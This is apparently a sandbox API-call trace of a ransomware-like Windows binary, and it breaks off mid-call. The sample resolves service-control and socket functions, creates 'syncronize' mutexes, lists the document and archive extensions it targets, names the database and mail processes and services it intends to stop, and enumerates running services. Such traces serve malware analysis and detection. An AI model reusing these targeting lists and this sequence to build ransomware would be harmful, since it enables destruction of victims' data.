GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0041.104] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0041.104] GetProcAddress (hModule=0x76c20000, lpProcName="Process32NextW") returned 0x76c5896c [0041.104] GetProcAddress (hModule=0x76c20000, lpProcName="Process32FirstW") returned 0x76c58baf [0041.104] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74d40000 [0041.115] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0041.115] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExW") returned 0x74d546ad [0041.115] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0041.115] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0041.115] GetProcAddress (hModule=0x74d40000, lpProcName="OpenProcessToken") returned 0x74d54304 [0041.115] GetProcAddress (hModule=0x74d40000, lpProcName="GetTokenInformation") returned 0x74d5431c [0041.116] GetProcAddress (hModule=0x74d40000, lpProcName="OpenSCManagerW") returned 0x74d4ca64 [0041.116] GetProcAddress (hModule=0x74d40000, lpProcName="OpenServiceW") returned 0x74d4ca4c [0041.116] GetProcAddress (hModule=0x74d40000, lpProcName="CloseServiceHandle") returned 0x74d5369c [0041.116] GetProcAddress (hModule=0x74d40000, lpProcName="ControlService") returned 0x74d67144 [0041.116] GetProcAddress (hModule=0x74d40000, lpProcName="QueryServiceStatus") returned 0x74d52a86 [0041.116] GetProcAddress (hModule=0x74d40000, lpProcName="EnumDependentServicesW") returned 0x74d41e3a [0041.116] GetProcAddress (hModule=0x74d40000, lpProcName="EnumServicesStatusExW") returned 0x74d4b466 [0041.116] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74f40000 [0041.153] GetProcAddress (hModule=0x74f40000, lpProcName="SystemParametersInfoW") returned 0x74f590d3 [0041.153] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0041.224] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0041.224] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77130000 [0041.224] GetProcAddress (hModule=0x77130000, lpProcName="NtQuerySystemInformation") returned 0x7714fda0 [0041.224] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74b50000 [0041.305] GetProcAddress (hModule=0x74b50000, lpProcName="WNetCloseEnum") returned 0x74b52dd6 [0041.305] GetProcAddress (hModule=0x74b50000, lpProcName="WNetOpenEnumW") returned 0x74b52f06 [0041.305] GetProcAddress (hModule=0x74b50000, lpProcName="WNetEnumResourceW") returned 0x74b53058 [0041.305] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75bc0000 [0041.307] GetProcAddress (hModule=0x75bc0000, lpProcName="WSAStartup") returned 0x75bc3ab2 [0041.307] GetProcAddress (hModule=0x75bc0000, lpProcName="socket") returned 0x75bc3eb8 [0041.307] GetProcAddress (hModule=0x75bc0000, lpProcName="send") returned 0x75bc6f01 [0041.307] GetProcAddress (hModule=0x75bc0000, lpProcName="recv") returned 0x75bc6b0e [0041.307] GetProcAddress (hModule=0x75bc0000, lpProcName="connect") returned 0x75bc6bdd [0041.307] GetProcAddress (hModule=0x75bc0000, lpProcName="closesocket") returned 0x75bc3918 [0041.307] GetProcAddress (hModule=0x75bc0000, lpProcName="gethostbyname") returned 0x75bd7673 [0041.307] GetProcAddress (hModule=0x75bc0000, lpProcName="inet_addr") returned 0x75bc311b [0041.307] GetProcAddress (hModule=0x75bc0000, lpProcName="ntohl") returned 0x75bc2d57 [0041.307] GetProcAddress (hModule=0x75bc0000, lpProcName="htonl") returned 0x75bc2d57 [0041.308] GetProcAddress (hModule=0x75bc0000, lpProcName="htons") returned 0x75bc2d8b [0041.308] GetProcessHeap () returned 0x6c0000 [0041.308] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20) returned 0x6d40f0 [0041.308] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=16155444470) returned 1 [0041.308] GetTickCount () returned 0x114588c [0041.308] GetCurrentProcessId () returned 0xa70 [0041.309] GetTickCount () returned 0x114588c [0041.309] GetTickCount () returned 0x114588c [0041.309] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20) returned 0x6d4118 [0041.309] GetVersion () returned 0x1db10106 [0041.309] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x7) returned 0x6c36d8 [0041.309] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6d0bf8 [0041.309] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d0bf8, Size=0x20) returned 0x6d4168 [0041.309] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4168, Size=0x40) returned 0x6d46d8 [0041.309] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x6d4928 [0041.309] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_261OR3A") returned 0x0 [0041.309] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_261OR3A") returned 0x84 [0041.309] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6c36d8 | out: hHeap=0x6c0000) returned 1 [0041.309] lstrlenW (lpString="Global\\syncronize_") returned 18 [0041.309] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d46d8 | out: hHeap=0x6c0000) returned 1 [0041.309] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x7) returned 0x6c36d8 [0041.309] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6d0bf8 [0041.309] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d0bf8, Size=0x20) returned 0x6d4168 [0041.309] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4168, Size=0x40) returned 0x6d46d8 [0041.309] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xfffe) returned 0x6e4930 [0041.310] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_261OR3U") returned 0x0 [0041.310] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_261OR3U") returned 0x88 [0041.310] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6c36d8 | out: hHeap=0x6c0000) returned 1 [0041.310] lstrlenW (lpString="Global\\syncronize_") returned 18 [0041.310] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d46d8 | out: hHeap=0x6c0000) returned 1 [0041.310] GetVersion () returned 0x1db10106 [0041.310] GetCurrentProcess () returned 0xffffffff [0041.310] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1 [0041.310] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1 [0041.310] CloseHandle (hObject=0x8c) returned 1 [0041.310] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x0 [0041.310] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x3e8) returned 0x0 [0041.310] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x14) returned 0x6c36d8 [0041.310] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6d0bf8 [0041.311] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d0bf8, Size=0x20) returned 0x6d4168 [0041.311] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4168, Size=0x40) returned 0x6d46d8 [0041.311] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d46d8, Size=0x80) returned 0x6d46d8 [0041.311] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d46d8, Size=0x100) returned 0x6d46d8 [0041.311] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x34) returned 0x6d47e0 [0041.311] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x4) returned 0x6d07e8 [0041.311] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x4) returned 0x6d07f8 [0041.311] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x8) returned 0x6d0808 [0041.311] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x6d0bf8 [0041.311] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x4) returned 0x6d4820 [0041.311] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6d0c10 [0041.311] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4820, Size=0x8) returned 0x6d4820 [0041.311] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x6d0c28 [0041.311] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4820, Size=0x10) returned 0x6d4820 [0041.311] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6d0c40 [0041.311] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6d0c58 [0041.311] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4820, Size=0x20) returned 0x6d4820 [0041.311] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x6d0c70 [0041.311] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6d0c88 [0041.311] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d07e8, Size=0x8) returned 0x6d07e8 [0041.311] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d07f8, Size=0x8) returned 0x6d07f8 [0041.311] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x8) returned 0x6d4848 [0041.311] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x6d0ca0 [0041.311] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x4) returned 0x6d4858 [0041.311] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6d0cb8 [0041.311] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4858, Size=0x8) returned 0x6d4858 [0041.311] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f4950 [0041.311] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4858, Size=0x10) returned 0x6d4858 [0041.311] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f4968 [0041.311] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x8) returned 0x6d4870 [0041.311] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4858, Size=0x20) returned 0x6d4880 [0041.311] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d07e8, Size=0x10) returned 0x6d4858 [0041.311] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d07f8, Size=0x10) returned 0x6d48a8 [0041.311] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x8) returned 0x6d07e8 [0041.311] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x6f4980 [0041.311] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x4) returned 0x6d07f8 [0041.311] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f4998 [0041.311] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d07f8, Size=0x8) returned 0x6d07f8 [0041.311] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x8) returned 0x6d48c0 [0041.311] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x6f49b0 [0041.311] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x4) returned 0x6d48d0 [0041.311] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f49c8 [0041.312] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d48d0, Size=0x8) returned 0x6d48d0 [0041.312] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4858, Size=0x20) returned 0x6f4d38 [0041.312] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d48a8, Size=0x20) returned 0x6f4d60 [0041.312] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x8) returned 0x6d48a8 [0041.312] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x6f49e0 [0041.312] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x4) returned 0x6d4858 [0041.312] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xa) returned 0x6f49f8 [0041.312] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4858, Size=0x8) returned 0x6d4858 [0041.312] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x14) returned 0x6f4d88 [0041.312] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x14) returned 0x6f4da8 [0041.312] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0041.312] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d46d8 | out: hHeap=0x6c0000) returned 1 [0041.312] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18fdf0 | out: lpWSAData=0x18fdf0) returned 0 [0041.320] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6f4a10 [0041.320] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f4a10, Size=0x20) returned 0x6d4370 [0041.320] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4370, Size=0x40) returned 0x6d4730 [0041.320] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4730, Size=0x80) returned 0x6d4730 [0041.320] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4730, Size=0x100) returned 0x6f5080 [0041.320] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6f4a10 [0041.320] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6f4a10, Size=0x20) returned 0x6d4370 [0041.320] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4370, Size=0x40) returned 0x6d4730 [0041.320] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4730, Size=0x80) returned 0x6d4730 [0041.320] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4730, Size=0x100) returned 0x6f5188 [0041.320] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x6f4a10 [0041.320] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x4) returned 0x6d4730 [0041.320] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x10) returned 0x6f4a28 [0041.320] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4730, Size=0x8) returned 0x6d4730 [0041.320] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x14) returned 0x6d4740 [0041.320] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4730, Size=0x10) returned 0x6d4760 [0041.320] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x18) returned 0x6d4778 [0041.320] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x1a) returned 0x6d4370 [0041.320] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4760, Size=0x20) returned 0x6d4798 [0041.320] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x1c) returned 0x6d4398 [0041.320] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x16) returned 0x6d47c0 [0041.320] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x1a) returned 0x6d43c0 [0041.320] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0xc) returned 0x6f4a40 [0041.320] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x4) returned 0x6d4730 [0041.320] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40) returned 0x6f5290 [0041.320] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4730, Size=0x8) returned 0x6d4730 [0041.320] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x3c) returned 0x6f52d8 [0041.320] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4730, Size=0x10) returned 0x6d4760 [0041.320] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x14) returned 0x6f5320 [0041.320] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x18) returned 0x6f5340 [0041.320] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4760, Size=0x20) returned 0x6f5360 [0041.320] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x24) returned 0x6f5388 [0041.320] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0041.320] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f5080 | out: hHeap=0x6c0000) returned 1 [0041.320] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0041.321] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f5188 | out: hHeap=0x6c0000) returned 1 [0041.321] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6f5908 [0041.323] EnumServicesStatusExW (in: hSCManager=0x6f5908, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 0 [0041.324] GetLastError () returned 0xea [0041.324] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x11e4) returned 0x6f9208 [0041.324] EnumServicesStatusExW (in: hSCManager=0x6f5908, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6f9208, cbBufSize=0x11e4, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6f9208, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 1 [0041.325] CloseServiceHandle (hSCObject=0x6f5908) returned 1 [0041.326] lstrlenW (lpString="Appinfo") returned 7 [0041.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0041.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0041.326] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0041.326] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0041.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0041.326] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0041.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0041.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0041.326] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0041.326] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0041.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0041.326] lstrlenW (lpString="AudioSrv") returned 8 [0041.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0041.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0041.327] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0041.327] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0041.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0041.327] lstrlenW (lpString="BFE") returned 3 [0041.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0041.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0041.327] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0041.327] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0041.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0041.327] lstrlenW (lpString="CryptSvc") returned 8 [0041.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0041.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0041.327] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0041.327] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0041.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0041.327] lstrlenW (lpString="CscService") returned 10 [0041.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0041.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0041.327] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0041.327] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0041.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0041.327] lstrlenW (lpString="DcomLaunch") returned 10 [0041.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0041.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0041.327] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0041.327] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0041.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0041.327] lstrlenW (lpString="Dhcp") returned 4 [0041.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0041.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0041.327] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0041.327] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0041.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0041.327] lstrlenW (lpString="Dnscache") returned 8 [0041.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0041.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0041.328] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0041.328] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0041.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0041.328] lstrlenW (lpString="DPS") returned 3 [0041.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0041.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0041.328] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0041.328] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0041.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0041.328] lstrlenW (lpString="eventlog") returned 8 [0041.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0041.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0041.328] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0041.328] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0041.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0041.328] lstrlenW (lpString="EventSystem") returned 11 [0041.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0041.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0041.328] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0041.328] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0041.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0041.328] lstrlenW (lpString="gpsvc") returned 5 [0041.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0041.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0041.328] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0041.328] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0041.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0041.328] lstrlenW (lpString="iphlpsvc") returned 8 [0041.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0041.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0041.328] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0041.328] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0041.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0041.328] lstrlenW (lpString="LanmanServer") returned 12 [0041.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0041.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0041.328] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0041.329] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0041.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0041.329] lstrlenW (lpString="LanmanWorkstation") returned 17 [0041.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0041.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0041.329] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0041.329] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0041.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0041.329] lstrlenW (lpString="lmhosts") returned 7 [0041.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0041.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0041.329] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0041.329] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0041.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0041.329] lstrlenW (lpString="MMCSS") returned 5 [0041.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0041.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0041.329] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0041.329] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0041.329] lstrcmpiW (lpString1="sqlserveradhelper", 